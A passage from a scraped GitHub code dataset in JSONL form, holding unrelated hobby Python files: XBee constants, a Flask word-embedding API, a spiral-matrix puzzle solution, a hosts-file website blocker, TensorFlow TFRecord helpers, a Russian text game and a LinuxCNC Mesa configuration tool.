Rx Indicator\",\n 0x94: \"XBee Sensor Read Indicator(AO=0)\",\n 0x95: \"Node Identification Indicator(AO-0)\",\n 0x97: \"Remote Command Response\",\n 0xa0: \"Over-the-Air Firmware Update Status\",\n 0xa1: \"Route Record Indicator\",\n 0xa3: \"Many-to-One Route Request Indicator\"}\n\n# position of the frame delimiter byte in API mode\napiFrameDelimPos = 0\n\n# position of the frame length bytes (msb,lsb) in API mode\napiFrameLenPos = [1, 2]\n\n# position of the frame type indicator byte in API mode\napiFrameTypePos = 3\n","repo_name":"marvin826/xbee_framework","sub_path":"xbeeframework/xbee_constants.py","file_name":"xbee_constants.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"6947843441","text":"import os\nimport logging\nimport argparse\nimport numpy as np\nfrom flask import Flask, jsonify, make_response, abort, request, json\nfrom timeit import default_timer as timer\n\nfrom prep.train.bsg.interfaces.interface_configurator import InterfaceConfigurator\nfrom prep.train.bsg.libraries.tools.vocabulary import Vocabulary\nfrom prep.train.bsg.libraries.evaluation.entailment.support import read_vectors_to_dict, read_vectors_to_arrays\nfrom prep.train.bsg.libraries.simulators.support import cosine_sim\n\ntrain_data_path = './path/to/docs' # change the path! must point to directory containing .txt input files\noutput_base_path = \"./output/my-dataset/\" # change the path (optional)\n\nmus_x = []\nmus_and_sigmas = {}\nmu_hash_dict = {}\nspcial_char_map = {ord('ä'):'a', ord('ü'):'u', ord('ö'):'o', ord('ß'):'ss'}\n\napp = Flask(__name__)\n\nlogger = logging.getLogger('werkzeug')\nlogger.setLevel(logging.ERROR)\nendpoints = [\n {\n 'title': 'nearest neighbour prediction for text queries',\n 'description': 'computes five nearest neighbours of each known word of a text query',\n 'url': '/nearest_neighbours',\n 'query parameters': {\n 'query': 'The Full Text Query for which five Nearest Neighbours are to be predicted'\n }\n }\n]\n\n\n@app.route('/', methods=['GET'])\ndef get_endpoints():\n return jsonify({'endpoints': endpoints})\n\n\n@app.route('/nearest_neighbours', methods=['POST'])\ndef get_nearest_neighbours_for_query():\n query = request.args.get('query')\n if query is None:\n abort(400, description='Parameter \\'query\\' not found. Please provide a text query to infer recommendations on.')\n words = [clean_target_word(w) for w in query.split(' ')]\n recommendations = {}\n time_elapsed_arr = []\n\n # for each word of the query\n for word in words:\n # given that the word is in the model vocabulary\n if word in mus_and_sigmas:\n nearest_neighbours, time_elapsed = get_nearest_neighbours(word)\n time_elapsed_arr.append(time_elapsed)\n\n # print(f\"recommendations for word {word}: {nearest_neighbours} calculated in {time_elapsed} seconds\")\n recommendations[word] = nearest_neighbours\n # else:\n # print(f\"word {word} not in dictionary\")\n if recommendations:\n if len(words) == 1:\n result = {\n \"recommendations\": recommendations[query],\n \"time_elapsed\": np.average(time_elapsed_arr)\n }\n else:\n result = {\n \"recommendations\": recommendations,\n \"time_elapsed\": np.average(time_elapsed_arr)\n }\n else:\n result = {\n \"recommendations\": []\n }\n return jsonify(result)\n\n\n\ndef get_nearest_neighbours(target_word):\n start_time = timer()\n mu_vector = mus_and_sigmas.get(target_word)[0]\n # nearest neighbour implementation borrowed from BSG evaluation\n dists_exact = np.linalg.norm(mus_x - mu_vector, axis=1) ** 2\n dists_exact_sorted_indices = dists_exact.argsort()\n other_exact_sorted = mus_x[dists_exact_sorted_indices][1:]\n nearest_neighbours_exact_mus = other_exact_sorted[:5]\n nearest_neighbours = [mu_hash_dict[hash(str(m))] for m in nearest_neighbours_exact_mus]\n stop_time = timer()\n time_elapsed = stop_time - start_time\n return nearest_neighbours, time_elapsed\n\n\ndef clean_target_word(target_word):\n return target_word.translate(spcial_char_map)\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(description=\"get model path\")\n parser.add_argument('--model_index', help=\"directory of the word embedding model to be loaded\", default=\"0\")\n return parser.parse_args()\n\n\ndef load_model(model_index):\n output_folder_path = output_base_path + model_index + '/'\n vocab_file_path = output_folder_path + 'vocab.txt'\n\n # load the model\n # i_model = InterfaceConfigurator.get_interface(train_data_path,\n # vocab_file_path,\n # output_folder_path,\n # model_file_path=output_folder_path+\"model.pkl\")\n vocab = Vocabulary()\n vocab.load(vocab_file_path=vocab_file_path)\n mu_vecs = os.path.join(output_folder_path+\"mu.vectors\")\n sigma_vecs = os.path.join(output_folder_path+\"sigma.vectors\")\n\n globals()['mus_and_sigmas'] = read_vectors_to_dict(mu_vecs, sigma_vecs, log_sigmas=True)\n\n globals()['mus_x'] = np.asarray([x[0].tolist() for x in mus_and_sigmas.values()], dtype='float32')\n\n words = mus_and_sigmas.keys()\n mus_hashes = [hash(str(mus)) for mus in mus_x]\n globals()['mu_hash_dict'] = dict(zip(mus_hashes, words))\n print(f\"model {model_index} loaded\")\n\n\ndef main():\n args = parse_args()\n model_index = args.model_index\n load_model(model_index)\n app.run(debug=False)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"menno4000/bsg-python3","sub_path":"bsg_api.py","file_name":"bsg_api.py","file_ext":"py","file_size_in_byte":4926,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"22740591279","text":"import sys\ninput = sys.stdin.readline\n\nN = int(input())\nM = int(input())\ndestX, destY = 0, 0\nnum = N**2\nres = [[0 for _ in range(N)] for _ in range(N)]\n\n\ndef findDest(x, y, target):\n global destX\n global destY\n if res[x][y] == target:\n destX, destY = x, y\n\n\nfor i in range(N):\n # 위에서 아래\n for j in range(i, N-i-1):\n res[j][i] = num\n findDest(j, i, M)\n num -= 1\n \n # 왼쪽에서 오른쪽\n for j in range(i, N - i - 1):\n res[N - i - 1][j] = num\n findDest(N-i-1, j, M)\n num -= 1\n\n # 아래에서 위\n for j in range(N - i - 1, i, -1):\n res[j][N-i-1] = num\n findDest(j, N-i-1, M)\n num -= 1\n\n # 오른쪽에서 왼쪽\n for j in range(N-i-1, i, -1):\n res[i][j] = num\n findDest(i, j, M)\n num -= 1\n\n\nres[N//2][N//2] = 1\nif M == 1:\n destX, destY = N//2, N//2\n\nfor i in range(N):\n print(*res[i])\nprint(destX+1, destY+1)","repo_name":"LEEHYUNDONG/codingTest","sub_path":"codingTest_python/BOJ/1913.py","file_name":"1913.py","file_ext":"py","file_size_in_byte":953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"477790965","text":"import time\nfrom datetime import datetime as dt\n\n#host_path = r'C:\\Windows\\System32\\drivers\\etc\\hosts'\ntemp_path = r'C:\\Users\\USER\\Documents\\PROJECT\\website_blocker\\hosts'\nredirect = '127.0.0.1'\nwebsite_list = ['facebook.com', 'www.facebook.com', 'spankbang.com', 'www.spankbang.com']\n\nwhile True:\n\n if dt(dt.now().year, dt.now().month, dt.now().day, 9) < dt.now() < dt(dt.now().year, dt.now().month, dt.now().day, 16):\n print('Working hours...')\n \n with open(temp_path, 'r+') as file:\n content = file.read()\n for website in website_list:\n if website in content:\n pass\n else:\n file.write(redirect + ' ' + website + '\\n')\n else:\n print('Parry Time')\n\n with open(temp_path, 'r+') as file:\n content = file.readlines()\n file.seek(0)\n for line in content:\n if not any(website in line for website in website_list):\n file.write(line)\n file.truncate()\n time.sleep(5)\n \n \n #https://1drv.ms/v/s!ApGeml7ftlUdhQvKVK46vtwB6EIn?e=ciRzvN\n","repo_name":"Proteensheykh/website_blocker","sub_path":"blocker.pyw","file_name":"blocker.pyw","file_ext":"pyw","file_size_in_byte":1147,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37588767343","text":"import cv2\nimport os\nimport numpy as np\nimport tensorflow as tf\nfrom skimage import io\n\n\n#数据集加工，将图片改为227大小，存起来\ndef rebuild(dir):\n for root,dirs,files in os.walk(dir):\n for file in files:\n filepath = os.path.join(root,file)\n try:\n image = cv2.imread(filepath)\n dim = (227,227)\n resized = cv2.resize(image,dim)\n path = \"E:\\\\Workspace\\\\DL\\\\DATAS\\\\cat_vs_dog\\\\train\\\\train\"\n cv2.imwrite(path,resized)\n except:\n print(filepath)\n os.remove(filepath)\n cv2.waitKey(0)\n\n#将图片数据转为tensorflow专用格式\ndef get_file(file_dir):\n images = []\n temp = []\n for root,sub_folders,files in os.walk(file_dir):\n #图片目录\n for name in files:\n images.append(os.path.join(root,name))\n for name in sub_folders:\n temp.append(os.path.join(root,name))\n\n print(files)\n labels=[]\n\n for one_folder in temp:\n n_img = len(os.listdir(one_folder))\n letter = one_folder.split('\\\\')[-1]\n if letter =='cat':\n labels = np.append(labels,n_img*[0])\n else:\n labels = np.append(labels,n_img*[1])\n\n temp = np.array([images,labels])\n temp = temp.transpose()\n np.random.shuffle(temp)\n\n image_list = list(temp[:,0])\n label_list = list(temp[:,1])\n label_list = [int(float(i)) for i in label_list]\n\n return image_list,label_list\n\ndef int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=value))\n\ndef bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=value))\n\ndef convert_to_tfrecord(image_list,label_list,save_dir,name):\n filename = os.path.join(save_dir,name+'.tfrecords')\n n_samples = len(label_list)\n writer = tf.python_io.TFRecordWriter(filename)\n print('\\nTransform start ...')\n for i in np.arange(0,n_samples):\n try:\n image = io.imread(image_list[i])\n image_raw = image.tostring()\n label = int(label_list[i])\n example = tf.train.Example(features=tf.train.Features(feature={'label':int64_feature(label),\n 'image_raw':bytes_feature(image_raw)}))\n writer.write(example.SerializerToString())\n except IOError as e:\n print('Could not read:',image_list[i])\n\n writer.close()\n print('Transform done!')\n\n\n\ndef read_and_decode(tfrecords_file,batch_size):\n filename_queue = tf.train.string_input_producer([tfrecords_file])\n\n reader = tf.TFRecordReader()\n _,serialized_example = reader.read(filename_queue)\n img_features = tf.parse_single_example(\n serialized_example,\n features={\n 'label':tf.FixedLenFeature([],tf.int64),\n 'image_raw':tf.FixedLenFeature([],tf.string),\n })\n image = tf.deocde_raw(img_features['image_raw'],tf.uint8)\n image = tf.reshape(image,[227,227,3])\n label = tf.cast(img_features['label'],tf.int32)\n image_batch,label_batch=tf.train.shuffle_batch([image,label],\n batch_size=batch_size,\n min_after_dequeue=100,\n num_threads=64,\n capacity=200)\n return image_batch,tf.reshape(label_batch,[batch_size])\n\ndef get_batch(image_list,label_list,img_width,img_height,batch_size,capacity):\n image = tf.cast(image_list,tf.string)\n label = tf.cast(label_list,tf.int32)\n\n input_queue=tf.train.slice_input_producer([image,label])\n\n label = input_queue[1]\n image_contents = tf.read_file(input_queue[0])\n image = tf.image.decode_jpeg(image_contents,channels=3)\n image = tf.image.resize_image_with_crop_or_pad(image,img_width,img_height)\n image = tf.image.per_image_standardization(image)\n image_batch,label_batch=tf.train.batch([image,label],batch_size=batch_size,num_threads=64,capacity=capacity)\n label_batch=tf.reshape(label_batch,[batch_size])\n return image_batch,label_batch\n\ndef one_hot(labels):\n n_sample = len(labels)\n n_class = max(labels) + 1\n onehot_labels = np.zeros((n_sample,n_class))\n onehot_labels[np.arange(n_sample),labels]=1\n return onehot_labels\n\n#img_list,label_list = get_file(\"E:\\\\Workspace\\\\DL\\\\DATAS\\\\cat_vs_dog\\\\train\\\\train\")\n#get_batch(img_list,label_list,224,224,120,120)","repo_name":"mengqingmeng/tfBookSourceCode","sub_path":"create_and_read_TFRecord2/reader2.py","file_name":"reader2.py","file_ext":"py","file_size_in_byte":4563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"27962645386","text":"import os\r\nimport random\r\nway_1 = True\r\nway_2 = True\r\nway_3 = True\r\nMurov_hp = 100\r\nrasboinik_hp = 100\r\nscene = \"0\"\r\nkey = \"\"\r\nnamee = input(\"введите имя героя\")\r\nif not namee: name = \"Илья\"\r\ngame = True\t\r\n\r\nwhile game == True:\r\n\tos.system(\"cls\")\r\n\tkey = \"\"\r\n\t# Сцена у камня\r\n\tif way_1 or way_2 or way_3:\r\n\t\tos.system(\"cls\")\r\n\t\tprint(f\"подъезжает {namee} к трем дорожкам, на перекрестке камень лежит, а на том камне написано: «Кто вправо поедет - тому убитым быть, кто влево поедет - тому богатым быть, а кто прямо поедет - тому женатым быть».\")\r\n\t\tif way_1:\r\n\t\t\tprint(\"1 - Поеду-ка я по той дорожке, где убитому быть. Умру в чистом поле, как славный богатырь!\")\r\n\t\tif way_2:\r\n\t\t\tprint(\"2 - Ну, поеду теперь, где женатому быть!\")\r\n\t\tif way_3:\r\n\t\t\tprint(\"3 - Ну, поеду теперь в дорожку, где богатому быть.\")\r\n\t\tname_user = input(\"введите номер ответа и нажмите ENTER\")\r\n\t\tkey += name_user\r\n\r\n\t\t\t#разбойники\r\n\tif way_1 and key == \"1\":\r\n\t\tprint(\"текст с разбойниками\")\r\n\t\tprint(\"1 выбор\")\r\n\t\tprint(\"2 выбор\")\r\n\t\tname_user = input(\"введите номер ответа и нажмите ENTER\")\r\n\t\tkey += name_user\r\n\t\tif way_1 and key == \"11\":\r\n\t\t\tos.system(\"cls\")\r\n\r\n\t\t\tfaiting = input(\"сражайтесь с честью, один на один, разбойник хочет сражаться в честном бою. нажмите 1 потом enter, или умри, написав что-то другое\")\r\n\r\n\t\t\tif faiting == 1:\r\n\t\t\t\twhile Murov_hp and rasboinik_hp == True:\r\n\t\t\t\t\tos.system(\"cls\")\r\n\t\t\t\t\tinput(\"нажмите ентер\")\r\n\t\t\t\t\tMurov_roll = random.randint(1, 20)\r\n\t\t\t\t\trasboinik_roll = random.randint(1, 20)\r\n\t\t\t\t\tif Murov_roll > rasboinik_roll:\r\n\t\t\t\t\t\tos.system(\"cls\")\r\n\t\t\t\t\t\tprint(\"есть пробитие по {namee}\")\r\n\t\t\t\t\t\tMurov_hp -= 10\r\n\t\t\t\t\t\tprint (f\"{Murov_hp} - хп {namee}, rasboinik_roll {rasboinik_hp}\")\r\n\t\t\t\t\t\tinput(\"\")\r\n\t\t\t\t\telif Murov_roll < rasboinik_roll:\r\n\t\t\t\t\t\tprint(\"есть пробитие по разбойникам\")\r\n\t\t\t\t\t\trasboinik_hp -= 10\r\n\t\t\t\t\t\tprint (f\"{Murov_hp} - хп {namee}, {rasboinik_hp} rasboinik_roll \")\r\n\t\t\t\t\t\tinput(\"\")\r\n\t\t\t\t\t\t#FIXME НИХЕРА НЕ РАБОТАЕТ БОЙ С РАЗБОЙНИКАМИ\r\n\t\t\t\t\r\n\t\t\telse:\r\n\t\t\t\tbreak\r\n\r\n\r\n\t\t\t\t\t\r\n\t\t\t\t\t\r\n\r\n\r\n\r\n\t\t\tprint(\"текст дорога конец 1 - хороший выбор\")\r\n\t\t\tway_1 = False\r\n\t\telif way_1 and key == \"12\":\r\n\t\t\tos.system(\"cls\")\r\n\t\t\tprint(\"текст дорога конец 2 - плохой выбор\")\r\n\t\t\tinput(\"\")\r\n\r\n\t\t\t#Жена\r\n\tif way_2 and key == \"2\":\r\n\t\tos.system(\"cls\")\r\n\t\tprint(\"текст с женой\")\r\n\t\tprint(\"1 выбор\")\r\n\t\tprint(\"2 выбор\")\r\n\t\tname_user = input(\"введите номер ответа и нажмите ENTER\")\r\n\t\tkey += name_user\r\n\t\tif way_1 and key == \"21\":\r\n\t\t\tos.system(\"cls\")\r\n\t\t\tprint(\"текст дорога конец 3 - хороший выбор\")\r\n\t\t\tway_1 = False\r\n\t\telif way_1 and key == \"22\":\r\n\t\t\tos.system(\"cls\")\r\n\t\t\tprint(\"текст дорога конец 4 - плохой выбор\")\r\n\t\t\r\n\r\n\t\t#богатый\r\n\tif way_3 and key == \"3\":\r\n\t\tos.system(\"cls\")\r\n\t\tprint(\"текст с богадством\")\r\n\t\tprint(\"1 выбор\")\r\n\t\tprint(\"2 выбор\")\r\n\t\tname_user = input(\"введите номер ответа и нажмите ENTER\")\r\n\t\tkey += name_user\r\n\t\tif way_1 and key == \"31\":\r\n\t\t\tos.system(\"cls\")\r\n\t\t\tprint(\"текст дорога конец 5 - хороший выбор\")\r\n\t\t\tway_1 = False\r\n\t\telif way_1 and key == \"32\":\r\n\t\t\tos.system(\"cls\")\r\n\t\t\tprint(\"текст дорога конец 6 - плохой выбор\")\r\n\r\n\t\t\t","repo_name":"2543345642/-","sub_path":"muravets_bitva.py","file_name":"muravets_bitva.py","file_ext":"py","file_size_in_byte":3939,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"23318712628","text":"import os, subprocess, requests\nfrom packaging import version\nfrom functools import partial\nfrom datetime import datetime\n\nfrom PyQt5.QtWidgets import QMessageBox, QApplication\n\nfrom libmesact import firmware\n\nMAIN_BOARDS = ['5i25', '7i80db_16', '7i80db_25', '7i80hd_16', '7i80hd_25',\n\t'7i92', '7i93', '7i98']\n\nALL_IN_ONE_BOARDS = ['7i76e', '7i95', '7i96', '7i96s', '7i97']\n\ndef isNumber(s):\n\ttry:\n\t\ts[-1].isdigit()\n\t\tfloat(s)\n\t\treturn True\n\texcept ValueError:\n\t\treturn False\n\ndef checkmesaflash(parent, required = None):\n\tflashOk = True\n\ttry:\n\t\tsubprocess.check_output('mesaflash', encoding='UTF-8')\n\t\tif required != None:\n\t\t\tt = (f'Mesaflash version installed is less than {required}\\n'\n\t\t\t\tf'The Mesa 7i96S requires Mesaflash {required} or later.\\n'\n\t\t\t\t'Go to https://github.com/LinuxCNC/mesaflash\\n'\n\t\t\t\t'for installation/update instructions.')\n\t\t\ttry:\n\t\t\t\tversion = subprocess.check_output(['mesaflash', '--version'], encoding='UTF-8')[-6:]\n\t\t\t\tif int(version.replace('.', '')) >= int(required.replace('.', '')):\n\t\t\t\t\tparent.machinePTE.appendPlainText(f'Mesaflash Version: {version}')\n\t\t\t\telse:\n\t\t\t\t\tparent.errorMsgOk(t, 'Mesaflash Version')\n\t\t\t\t\tparent.machinePTE.appendPlainText(t)\n\t\t\t\t\tflashOk = False\n\t\t\texcept:\n\t\t\t\tparent.errorMsgOk(t, 'Mesaflash Version')\n\t\t\t\tparent.machinePTE.appendPlainText(t)\n\t\t\t\tflashOk = False\n\texcept FileNotFoundError:\n\t\t#parent.errorMsgOk(('Mesaflash not found go to\\n'\n\t\t#\t'https://github.com/LinuxCNC/mesaflash\\n'\n\t\t#\t'for installation instructions.'), 'Notice! Can Not Flash Firmware')\n\t\tt = ('Mesaflash not found go to\\n'\n\t\t\t'https://github.com/LinuxCNC/mesaflash\\n'\n\t\t\t'for installation instructions.')\n\t\tparent.machinePTE.appendPlainText(t)\n\t\tparent.statusbar.showMessage('Mesaflash not found!')\n\n\tif not flashOk:\n\t\tparent.firmwareCB.setEnabled(False)\n\t\tparent.readhmidPB.setEnabled(False)\n\t\tparent.readpdPB.setEnabled(False)\n\t\tparent.flashPB.setEnabled(False)\n\t\tparent.reloadPB.setEnabled(False)\n\t\tparent.verifyPB.setEnabled(False)\n\ndef configNameChanged(parent, text):\n\tif text:\n\t\tparent.configNameUnderscored = text.replace(' ','_').lower()\n\t\tparent.configPath = os.path.expanduser('~/linuxcnc/configs') + '/' + parent.configNameUnderscored\n\t\tparent.pathLabel.setText(parent.configPath)\n\telse:\n\t\tparent.pathLabel.setText('')\n\ndef firmwareChanged(parent):\n\tif parent.firmwareCB.currentData():\n\t\tboard = parent.board\n\t\tif parent.boardCB.currentData() in MAIN_BOARDS:\n\t\t\tdaughters = getattr(firmware, f'd{parent.board}')(parent)\n\t\t\tif parent.firmwareCB.currentText() in daughters:\n\t\t\t\tcards = daughters[parent.firmwareCB.currentText()]\n\t\t\t\tparent.daughterCB_0.clear()\n\t\t\t\tif cards[0]:\n\t\t\t\t\tparent.daughterCB_0.addItem('Select', False)\n\t\t\t\t\tparent.daughterCB_0.addItem(cards[0], cards[0])\n\t\t\t\tparent.daughterCB_1.clear()\n\t\t\t\tif cards[1]:\n\t\t\t\t\tparent.daughterCB_1.addItem('Select', False)\n\t\t\t\t\tparent.daughterCB_1.addItem(cards[1], cards[1])\n\t\t# might combine these\n\t\telif parent.boardCB.currentData() in ALL_IN_ONE_BOARDS:\n\t\t\tdaughters = getattr(firmware, f'd{parent.board}')(parent)\n\t\t\tif daughters:\n\t\t\t\tif parent.firmwareCB.currentText() in daughters:\n\t\t\t\t\tcards = daughters[parent.firmwareCB.currentText()]\n\t\t\t\t\tparent.daughterCB_0.clear()\n\t\t\t\t\tif cards[0]:\n\t\t\t\t\t\tparent.daughterCB_0.addItem('Select', False)\n\t\t\t\t\t\tparent.daughterCB_0.addItem(cards[0], cards[0])\n\t\t\t\t\tparent.daughterCB_1.clear()\n\t\t\t\t\tif cards[1]:\n\t\t\t\t\t\tparent.daughterCB_1.addItem('Select', False)\n\t\t\t\t\t\tparent.daughterCB_1.addItem(cards[1], cards[1])\n\n\t\tpath = os.path.splitext(parent.firmwareCB.currentData())[0]\n\t\tpinfile = os.path.join(path + '.pin')\n\t\tif os.path.exists(pinfile):\n\t\t\twith open(pinfile, 'r') as file:\n\t\t\t\tdata = file.read()\n\t\t\tparent.machinePTE.clear()\n\t\t\tparent.machinePTE.setPlainText(data)\n\t\telse:\n\t\t\tparent.machinePTE.clear()\n\t\t\tparent.machinePTE.setPlainText(f'No pin file found for {parent.firmwareCB.currentText()}')\n\t\tif '-' in board:\n\t\t\tboard = board.replace(\"-\", \"_\")\n\n\t\toptions = getattr(firmware, f'o{board}')(parent)\n\t\t# options stepgens, pwmgens, qcount\n\t\tif options:\n\t\t\tif parent.firmwareCB.currentText() in options:\n\t\t\t\tparent.stepgensCB.clear()\n\t\t\t\tif options[parent.firmwareCB.currentText()][0]:\n\t\t\t\t\tfor i in range(options[parent.firmwareCB.currentText()][0], -1, -1):\n\t\t\t\t\t\tparent.stepgensCB.addItem(f'{i}', f'{i}')\n\t\t\t\tparent.pwmgensCB.clear()\n\t\t\t\tif options[parent.firmwareCB.currentText()][1]:\n\t\t\t\t\tfor i in range(options[parent.firmwareCB.currentText()][1], -1, -1):\n\t\t\t\t\t\tparent.pwmgensCB.addItem(f'{i}', f'{i}')\n\t\t\t\tparent.encodersCB.clear()\n\t\t\t\tif options[parent.firmwareCB.currentText()][2]:\n\t\t\t\t\tfor i in range(options[parent.firmwareCB.currentText()][2], -1, -1):\n\t\t\t\t\t\tparent.encodersCB.addItem(f'{i}', f'{i}')\n\telse:\n\t\tparent.machinePTE.clear()\n\ndef daughterCardChanged(parent):\n\tif parent.sender().currentData():\n\n\t\t#motherBoards = ['5i25', '7i80db', '7i80hd', '7i92', '7i93', '7i98']\n\t\taxes = {'7i33': 4, '7i47': 6, '7i76': 5, '7i77': 6, '7i78': 4, '5ABOB': 5}\n\t\tinputs = {'7i76': '32', '7i77': '32', '7i78': '0', '5ABOB': '5'}\n\t\toutputs = {'7i76': '16', '7i77': '16', '7i78': '0', '5ABOB': '1'}\n\t\tstepper = ['7i76', '7i78']\n\t\tservo = ['7i77']\n\t\tcardType = {'7i33': 'servo', '7i47': 'step', '7i76': 'step', '7i77': 'servo', '7i78': 'step', '5ABOB': 'step'}\n\n\t\tif parent.sender().currentData() == '7i76':\n\t\t\tspinnotes = ('SPINDLE INTERFACE\\n'\n\t\t\t'The 7I76 provides one analog output for spindle control. The analog output is a\\n'\n\t\t\t'isolated potentiometer replacement type device. It functions like a potentiometer with\\n'\n\t\t\t'SPINDLE + being one end of the potentiometer, SPINDLEOUT being the wiper and\\n'\n\t\t\t'SPINDLE- being the other end. The voltage on SPINDLEOUT can be set to any voltage\\n'\n\t\t\t'between SPINDLE- and SPINDLE+. Polarity and voltage range must always be observed\\n'\n\t\t\t'for proper operation. The voltage supplied between SPINDLE+ and SPINDLE- must be\\n'\n\t\t\t'between 5VDC an 15VDC with SPINDLE + always being more positive than SPINDLE-.\\n'\n\t\t\t'Because the analog output is isolated, bipolar output is possible, for example with\\n'\n\t\t\t'SPINDLE+ connected to 5V and SPINDLE- connected to -5V, a +-5V analog output range\\n'\n\t\t\t'is created. In this case the spindle output must be offset so that 50% of full scale is output\\n'\n\t\t\t'when a 0V output is required. Note that if bipolar output is used, the output will be forced\\n'\n\t\t\t'to SPINDLE- at startup or when SPINENA is false.\\n\\n'\n\t\t\t'SPINDLE ISOLATED OUTPUTS\\n'\n\t\t\t'The 7I76 provides 2 isolated outputs for use for spindle direction control, and\\n'\n\t\t\t'spindle enable. These outputs are OPTO coupler Darlington transistors. They are all\\n'\n\t\t\t'isolated from one another so can be used for pull up or pull-down individually. They will\\n'\n\t\t\t'switch a maximum of 50 mA at 0 to 100 VDC. The SPINENA output is special as it uses\\n'\n\t\t\t'the same signal that enables the analog output. When the analog output is enabled, the\\n'\n\t\t\t'SPINENA OPTO output is on.\\n')\n\t\t\tparent.spindlePTE.setPlainText(spinnotes)\n\n\t\tif parent.sender().currentData() == '7i77':\n\t\t\tspinnotes = ('SPINDLE INTERFACE\\n'\n\t\t\t'A 7I77, analog channel 5 is designed for spindle use, no other channel is\\n'\n\t\t\t'suitable since only analog channel 5 can be enabled/disabled independently.\\n'\n\t\t\t)\n\n\t\t\tparent.spindlePTE.setPlainText(spinnotes)\n\n\n\t\tif parent.sender().objectName() == 'daughterCB_0':\n\t\t\tparent.daughterCB_1.setEnabled(False)\n\t\telif parent.sender().objectName() == 'daughterCB_1':\n\t\t\tparent.daughterCB_0.setEnabled(False)\n\t\tparent.mainTabs.setTabEnabled(3, True)\n\t\tparent.mainTabs.setTabEnabled(4, True)\n\t\tparent.axes = axes[parent.sender().currentData()]\n\t\t#print(axes[parent.sender().currentData()])\n\n\t\tparent.cardTabs.setTabText(0, parent.sender().currentData())\n\t\tparent.cardType_0 = cardType[parent.sender().currentData()]\n\n\t\tif axes[parent.sender().currentData()] == 6:\n\t\t\tparent.jointTabs_0.setTabEnabled(4, True)\n\t\t\tparent.jointTabs_0.setTabEnabled(5, True)\n\t\telif axes[parent.sender().currentData()] == 5:\n\t\t\tparent.jointTabs_0.setTabEnabled(4, True)\n\t\t\tparent.jointTabs_0.setTabEnabled(5, False)\n\t\telif axes[parent.sender().currentData()] == 4:\n\t\t\tparent.jointTabs_0.setTabEnabled(4, False)\n\t\t\tparent.jointTabs_0.setTabEnabled(5, False)\n\n\t\tif parent.daughterCB_0.currentData():\n\t\t\tif cardType[parent.daughterCB_0.currentData()] == 'step':\n\t\t\t\tfor i in range(5):\n\t\t\t\t\tgetattr(parent, f'c0_stepgenGB_{i}').setVisible(True)\n\t\t\t\t\tgetattr(parent, f'c0_analogGB_{i}').setVisible(False)\n\t\t\t\t\tgetattr(parent, f'c0_encoderGB_{i}').setVisible(False)\n\t\t\telif cardType[parent.daughterCB_0.currentData()] == 'servo':\n\t\t\t\tfor i in range(5):\n\t\t\t\t\tgetattr(parent, f'c0_stepgenGB_{i}').setVisible(False)\n\t\t\t\t\tgetattr(parent, f'c0_analogGB_{i}').setVisible(True)\n\t\t\t\t\tgetattr(parent, f'c0_encoderGB_{i}').setVisible(True)\n\n\t\tif parent.daughterCB_1.currentData():\n\t\t\tif cardType[parent.daughterCB_1.currentData()] == 'step':\n\t\t\t\tfor i in range(5):\n\t\t\t\t\tgetattr(parent, f'c0_stepgenGB_{i}').setVisible(True)\n\t\t\t\t\tgetattr(parent, f'c0_analogGB_{i}').setVisible(False)\n\t\t\t\t\tgetattr(parent, f'c0_encoderGB_{i}').setVisible(False)\n\t\t\telif cardType[parent.daughterCB_1.currentData()] == 'servo':\n\t\t\t\tfor i in range(5):\n\t\t\t\t\tgetattr(parent, f'c0_stepgenGB_{i}').setVisible(False)\n\t\t\t\t\tgetattr(parent, f'c0_analogGB_{i}').setVisible(True)\n\t\t\t\t\tgetattr(parent, f'c0_encoderGB_{i}').setVisible(True)\n\n\t\tif inputs[parent.sender().currentData()]:\n\t\t\tfor i in range(int(inputs[parent.sender().currentData()])):\n\t\t\t\tgetattr(parent, f'inputPB_{i}').setEnabled(True)\n\t\t\t\tgetattr(parent, f'inputInvertCB_{i}').setEnabled(True)\n\t\t\tfor i in range(int(inputs[parent.sender().currentData()]),32):\n\t\t\t\tgetattr(parent, f'inputPB_{i}').setEnabled(False)\n\t\t\t\tgetattr(parent, f'inputInvertCB_{i}').setEnabled(False)\n\t\t\tfor i in range(32):\n\t\t\t\tgetattr(parent, f'inputDebounceCB_{i}').setEnabled(False)\n\t\tif outputs[parent.sender().currentData()]:\n\t\t\tfor i in range(int(outputs[parent.sender().currentData()])):\n\t\t\t\tgetattr(parent, f'outputPB_{i}').setEnabled(True)\n\t\t\tfor i in range(int(outputs[parent.sender().currentData()]),16):\n\t\t\t\tgetattr(parent, f'outputPB_{i}').setEnabled(False)\n\n\telse:\n\t\tif parent.boardCB.currentData() in MAIN_BOARDS:\n\t\t\tif not parent.sender().currentData():\n\t\t\t\tparent.daughterCB_0.setEnabled(True)\n\t\t\t\tparent.daughterCB_1.setEnabled(True)\n\t\t\t\tparent.mainTabs.setTabEnabled(3, False)\n\t\t\t\tparent.mainTabs.setTabEnabled(4, False)\n\t\t\t\treturn\n\n\ndef connectorChanged(parent):\n\tif parent.connectorCB.currentText() == 'P1':\n\t\tparent.ioPort = '3'\n\t\tparent.analogPort = '4'\n\tif parent.connectorCB.currentText() == 'P2':\n\t\tparent.ioPort = '0'\n\t\tparent.analogPort = '1'\n\ndef updateAxisInfo(parent):\n\tif parent.sender().objectName() == 'actionOpen':\n\t\treturn\n\tcard = parent.sender().objectName()[:2]\n\tjoint = parent.sender().objectName()[-1]\n\tscale = getattr(parent, f'{card}_scale_' + joint).text()\n\tif scale and isNumber(scale):\n\t\tscale = float(scale)\n\telse:\n\t\treturn\n\n\tmaxVelocity = getattr(parent, f'{card}_maxVelocity_' + joint).text()\n\tif maxVelocity and isNumber(maxVelocity):\n\t\tmaxVelocity = 